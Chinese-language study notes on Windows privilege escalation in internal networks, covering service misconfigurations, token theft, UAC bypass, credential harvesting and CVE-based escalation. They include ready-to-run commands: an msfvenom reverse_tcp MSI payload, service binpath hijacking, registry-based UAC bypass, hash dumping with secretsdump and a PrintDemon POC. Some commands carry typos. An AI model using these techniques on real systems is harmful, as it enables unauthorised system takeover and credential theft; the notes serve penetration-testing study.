内网渗透基础学习(二)
4. 权限提升
权限提升分为横向提权和垂直越权。横向提权是指在同级用户下一个用户接管另一个用户的权限。后者是从低级别用户到高级别用户。主要是垂直越权。
4.1 系统内核漏洞提权
1、前文信息收集的过程中,使用systeminfo 可以看已安装的系统补丁,没有列出的补丁号结合系统版本就是寻找的点(怎么快速查找呢)
2、借助WES-NG查找漏洞(Windows Exploit Suggester-Next Generation)
4.2 系统服务提权
通常情况下一些应用软件在本地注册的服务在开机时会以System权限启动,让程序启动时执行其他程序,该程序就可以获得系统权限。对应的注册表项为
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
让程序启动时执行其他程序的方法有:不安全的服务权限、服务注册表权限脆弱、服务路径权限可控、未引用的服务路径等。
4.2.1 不安全的服务权限
Windows通过ACL来制定用户对哪些主体的访问权限。若目标主机的用户在配置时存在疏忽,即可使低权限用户拥有高权限。可通过AccessChk工具来枚举主机上存在缺陷的服务
若主机上存在该种类型漏洞,则可利用MSF上传攻击载荷 修改配置。例如MSF上传了攻击载荷后执行
sc config InsproSvc binpath = "cmd.exe" /k C:\Users\Public\hack.exe
#指定服务的binpath =后必须有空格
sc stop 服务名
sc start 服务名
即可获得权限
4.2.2 服务注册表权限脆弱
注册表也使用ACL管理配置,同样可根据修改注册表来修改服务配置。
1、枚举Authenticated Users具有写入权限的注册表
accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services
2、将注册表项目中的ImagePath指向预先上传的攻击载荷
3、重启服务,完成提权
4.2.3 服务路径可控
用户配置错误导致低权限用户对此服务的目录/可执行文件具有写入权限,则可直接替换成攻击载荷。并随着服务的启动继承启动权限。
1、枚举Authenticated Users具有写入权限的注册表
accesschk.exe /accepteula -quv "路径"
2、将注册表项目中可执行文件改为预先上传的攻击载荷
3、重启服务,完成提权
4.2.4 未引用的服务路径(曾用名:可信任的服务路径)
Windows路径解析漏洞,当程序启动的路径包含空格且未正确包含在引号中引起的。
原因出自Windows创建进程的函数匹配规则,是从左到右依次寻找并执行空格前的名字相匹配的程序。且会以当前服务所拥有的权限执行命令。所以攻击者可以精心构造特殊命名的恶意载荷进行攻击,但前提是具有对受影响的目录拥有写入权限。
1、枚举目标主机上所有该漏洞的系统服务
wmic service get DisplayName,PathName,StartMode|findstr /i /v "C:\Windows\\" | findstr/i /v """
2、使用Accesschk检查目录权限
accesschk.exe /accepteula -quv "当前用户名" "受影响目录"
3、上传攻击载荷Sub.exe 重启服务,获取权限
4.2.5 PowerUP
对上述内容总结的工具
4.3 MSI安全策略提权
该漏洞是由于用户在配置MSI安装策略时勾选了”永远以高特权安装“,该选项启用后系统会自动在注册表内对应的两个位置创建键值为1
1、确认系统是否存在漏洞
reg query HKLM\SOFTWARE\Polices\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Polices\Microsoft\Windows\Installer\AlwaysInstallElevated
2、使用MSF创建恶意MSI
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=监听端口 -f msi -o reverse_tcp.msi
3、在现有的msf会话中上传到目标
4、通过msiexec运行恶意文件完成提权
msiexec /quiet /qn /i reverse_tcp.msi
#/quiet 安装期间禁止用户发送任何消息 #/qn 无GUI模式 #/i 常规安装
4.4 访问令牌操控
令牌窃取常用于从提权、降权、用户切换等。常见的工具有 incognito.exe\MSF-incognito模块\Potato家族
访问令牌操纵是特权利用的一部分。Windows系统使用访问令牌来确认正在运行的进程的访问权限。用户可以操纵访问令牌,使正在运行的进程拥有其他用户的权限,如特权用户。当发生这种情况时,该进程可处于与新令牌相关联的安全上下文,从而达到提权的效果。任何用户都可以runas和WindowsAPI来实现这一功能。
即任意用户若能拥有管理员权限令牌,则具有管理员权限。
可利用Windows内置的API从现有进程中复制访问令牌。以APT28 CVE-2015-1701为例,该漏洞存在于系统驱动Win32k.sys中,利用特定攻击载荷对驱动程序进行回调,回调函数可以获取System进程的eprocess结构,从而复制System的令牌。
在获取访问令牌后,可通过三种方式利用访问令牌:
1、令牌模拟/盗窃:创建一个新的访问令牌,使用DuplicateToken(EX)复制现有令牌。然后令牌可以与ImpersonateLoggedOnUser一起使用,从而调用线程模拟用户的安全上下文;若是非网络登陆会话时,还需使用SetThreadToken一起将模拟的令牌分配给线程。
2、使用令牌创建进程:使用DuplicateToken(EX)创建新的访问令牌,与CreateProcessWithTokenW一起使用,对不同用户的安全上下文中创建新进程很有用
3、制作和模拟令牌:若攻击者有对方的用户名密码,但用户没有登录到系统。攻击者可以用LogonUser函数来冒充用户创建登陆会话。函数将返回新会话访问令牌的副本,然后使用setreadtoken将令牌分配给线程。
4.5 Bypass UAC
UAC(用户账户控制) 用户账户控制是Windows的管理机制,用于阻止安装未经授权的应用并且防止意外更改系统设置,使应用程序和任务始终在非管理员账户的安全上下文中运行,每个需要使用管理员访问令牌的应用必须提示并征得用户同意。(你要允许此应用对你的设备进行更改吗,这个弹窗)除非专门授予了管理员权限。
注:UAC实际上是权限保护机制,而非真正的提权。绕过的方式有如下几种:
4.5.1 UAC白名单
微软的UAC中设置了白名单,白名单中的程序以静默形式自动提升到管理员权限。例如slui.exe\wusa.exe\taskmgr.exe\msra.exe\eudcedit.exe\educedit.exe等,可以通过微软官方提供的工具Sigcheck和String来搜索。
位于UAC白名单中的程序具有一个共同的特点,其Manifest数据中的autoElevate属性值为True。
可以使用Sigcheck来检测程序是否具有autoElevate属性,命令如下:
sigcheck.exe /accepteula -m "程序路径"
Strings同理,命令如下
strings.exe /accepeula -s "路径" | find /i "autoElevate"
可以通过这些白名单做DDL劫持、DDL注入或者注册表劫持等操作实现绕过UAC的目的。
以ComputerDefault.exe为例
)
运行该程序后并未发现UAC弹窗,通过ProcessMonitor监控ComputerDefaults.exe进程所有的操作行为。
(火绒剑能抓到这个进程,还不知道怎么找到进程的动作,完全不显示啊)
可以发现该进程首先创建注册表HKCU\Software\Classes\ms-setting\shell\open\Command
发现该路径不存在后继续查询注册表HKCU\ms-settings\Shell\Open\Command\DelegateExecute的数据并读取
通常情况\Shell\Open\Command注册表下存储的是可执行路径的路径,由于该exe是UAC中的程序,因此在运行时权限为管理员权限
执行如下命令
reg add "HKCU\Software\Classes\ms-setting\shell\open\Command" /d "C:\Windows\System32\cmd.exe" /f
reg add "HKCU\Software\Classes\ms-setting\shell\open\Command" /v DelegateExecute /t REG_SZ /d "C:\Windows\System32\cmd.exe"
cmd可以修改为攻击载荷
将注册表中将要执行的攻击载荷路径分别写入默认和DelegateExecute中,再次执行ComputerDefaults.exe时,就可以管理员权限运行。
4.5.2 DLL劫持
Windows的很多应用程序通常不是一个完成的exe,而是由一个个独立的DLL连接而成。当应用程序启动时,就可以通过一些手段,非法加载任意DLL。
当应用程序加载DLL时,若没有指定DLL的绝对路径,则程序会以特定的顺序依次在指定路径下搜索待加载的DLL。在开启安全DLL搜索模式的情况下,搜索顺序为:程序安全目录—>系统目录—>16位系统目录—>Windows目录—>当前工作目录—>PATH环境变量中列出的各目录。
若以同名的DLL文件放在合法DLL文件所在路径之前的位置,就是经典的DLL劫持。但前提是拥有对上述目录的写入权限,且恶意DLL文件需要与原始DLL文件拥有相同的导出表函数。
本章的内容较多,参见DLL劫持单章。
4.5.3 模拟可信任目录
在Windows中,当启动的程序请求自动提升权限时,系统会先读取可执行文件的Manifest信息,解析AutoElevate属性的值。若该字段存在且为True,则认为可提权;并且会检查可执行文件的签名;此外会再检测可执行文件是否位于系统可信任目录内,如系统目录。这三个条件都通过,才允许程序提权。
注:系统在检查可信目录时,会自动去掉可执行文件路径中的空格。在这一原理下,可以根据可信任目录来创建一个包含末尾空格的模拟可信任目录,配合DLL劫持等技术绕过UAC
4.5.4 相关辅助工具
1、UACME github搜搜
2、MSF的bypassUAC模块
4.6 用户凭据操纵
4.6.1 枚举Unattened凭据
无人值守(Unattened)允许应用程序在不需要管理员关注的情况下自动安装,该安装方式的问题是会在系统中残留配置文件。其中可能包括本地管理员的用户名和密码,常见的路径如下:
C:\sysprep.inf
C:\syspreg\syspreg.xml
C:\Windows\system32\sysprep.inf
C:\windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\system32\Sysprep\Unattend.xml
C:\Windows\system32\Sysprep\Panther\Unattend.xml
有需要时可全盘搜索上述配置文件,并检索User\Accounts\UserAccounts\UserAccounts\LocalAccounts\Administrator\Password等关键词来检索凭据
MSF提供了post/windows/gather/enum_unattend模块来自动化检索密码
4.6.2 获取组策略凭据
微软在WindwosServer2008中引入了组策略首选项,在大型企业/组织的域环境中,管理员往往会通过下发组策略的方式对所有域中计算机的本地管理员密码做批量修改。新建组策略后,域控会自动在SYSVOL共享目录中生成一个XML文件,该文件保存了组策略更新后的木马。SYSVOL是安装活动目录时创建的共享文件夹,主要用于存储公共服务器副本,存放登陆脚本、组策略数据和其他域控的重要信息,并在所有经过身份验证的域用户或域信任用户范围内共享。
WindowsServer08中的SYSVOL中xml的密码字段私钥被公开了,且由于共享机制,导致知道一台的密码,等于知道全部的密码。SYSVOL目录密码字段的加密密钥在不同版本的Windows操作系统中可能会有所不同,此处应分windows版本讨论。
MSf内置了一个post/windows/gather/credentials/gpp模块,用于自动化搜索位于SYSVOL共享目录中的XML并对其解密。
4.6.3 HiveNightmare(CVE-2021-36934)
由于Windows中多个系统文件的ACL过于宽松,使得任何标准用户都可以从系统卷影副本中读取包括SAM,SYSTEMSECURITY在内的多个系统文件。该漏洞影响深远,阅读HiveNightmare漏洞复现单章查看更多细节,本处给出简单演示。
该漏洞复现需满足如下条件:1、已启动系统保护 2、系统上存在已创建的系统还原点 3、系统启用本地管理员用户
漏洞原理:系统保护在Windows中默认启用,因此如果已创建系统还原点,那么标准用户可直接从卷影副本中访问和转储SAM、SYSEM、SECURITY文件。这些文件的路径如下
C:\Windows\system32\config\SAM
C:\Windows\system32\config\SECURITY
C:\Windows\system32\config\SYSTEM
漏洞检查步骤
1、以标准用户执行以下命令,检查是否存在漏洞:
icacls C:\Windows\System32config\SAM
若回显为BUILTIN\Users:(I)(RX),则表示系统易受攻击
2、将编译好的恶意程序HiveNightmare.exe(Github搜搜)上传到目标主机后,即可转储SAM、SYSEM、SECURITY到当前目录
3、将三个文件复制到本地,使用Impacket中的secretsdump.py导出SAM文件中的用户哈希值
python secretsdump.py -sam SAM文件名 -system system文件名 -security security文件名
之后可使用暴力破解或者哈希传递获取目标的SYSTEM权限
4.6.4 Zerologon域内提权
Zerologon(CVE-2020-1472)是Netlogon远程协议的特权提升漏洞,可以在不提供任何凭据的情况下通过身份验证实现域内提权。
该漏洞的常见利用方法是调用Netlogon中的RPC函数NetrServerPasswordSet2来重置域控的密码。
4.7 PrintSpooler提权
PrintSpooler是Windows的打印后台处理服务,用于管理所有本地和打网络打印队列,默认为开启状态。
4.7.1 PrintDemon(CVE-2020-1048)
该CVE是由于WindowsPrintSpooler存在缺陷,导致用户可以在系统上任意写入文件,并通过其他方法完成提权。
原理是因为在标准用户权限下,若打印机的端口文件路径指向一个受保护的系统目录,会因为权限不足而导致打印失败。微软为了应对打印过程中的各种中断/异常,引入了假脱机打印机制。该机制可以使系统在重启服务后回复之前未执行的打印任务。但是以SYSTEM权限,若此时打印机的端口为文件路径,则将在系统上造成任意文件写入。可通过写入二进制文件或DLL文件进行DLL文件劫持。
以替换系统服务TestSvc为例,步骤如下
1、通过MSF生成一个EXE恶意载荷、并将EXE文件进行base64编码 (这里为什么要base64编码呢)
2、以标准用户身份在目标主机的PowerSploit中执行Github搜到的POC,命令如下
Import-Module .\Invoke-PrintDemon.ps1
Invoke-PrintDemon -PrinterName "PrintDemon" -Portname "C:\Program Files\Test Service\TestSvc.exe" -Base64code <Base64 Code>
在系统重启后,PrintSpooler会将TestSvc替换为恶意载荷,并继承该服务的SYSTEM权限
MSF也集成了该模块,路径是 use exploit/windows/local/cve_2020_1048_printerdemon
4.7.2 PrintNightMare
PrintNightmare漏洞有两种变体,一个是权限提升(CVE-2021-1675),另一个是RCE (CVE-2021-34527)。标准用户可以通过PrintNightmare来绕过PfcAddPrinterDriver的安全验证,并在打印服务器中安装恶意的驱动,若当前控制的账户为域用户,可控制域控的PrintSpooler,进而接管整个域环境。
4.8 Cretifired 域内提权
主要指CVE-2022-26923,由于对用户属性的不准确读取,允许第全县用户在安装了ADCS(活动目录证书服务)的服务器角色的活动目录环境中提升权限至管理员。具体文件可参考Certified Pre-Owned-Abusing Active Directory Certificate Services白皮书系统性学习。下面做简要介绍:
默认情况下,域用户可以注册User证书模板,域机器账户可以注册机器证书模板。两个证书模板都允许客户端身份验证。当用户账户申请User模板证书时,用户账户的用户主体名称(User Principal Name,UPN)将嵌入证书进行识别。
当使用证书进行身份验证时,KDC(Key Distribution Center,密钥分发中心)会尝试将用户主体名称从证书映射到目标用户。User证书模板的mksPKI-Certificate-Name-Flag属性存在一个CT_FLAG_SUBJECT_ALT_REQUIRE_UPN的标志位,用于指示证书将来自活动目录中请求者用户对象的UPN属性值添加到已颁发证书的主题备用名称中。
注:UPN必须是唯一的,且机器账户没有UPN属性。根据微软官方文档的定义,机器账户申请证书时,被嵌入证书识别的是DNS属性。该属性由dNSHostName属性定义,且dNSHostName值可以不唯一。若将用户账户的dNSHostName的值改为与域控机器账户的dNSHostName值相同,就能够欺骗ADCS并申请到域控的AD证书。
在实际操作中,dNSHostName属性与servicePrincipalName属性相关联,且servicePrincipalName具有唯一性,因此在修改前需预先删除用户帐户上包含dNSHostName的servicePrincipalName值。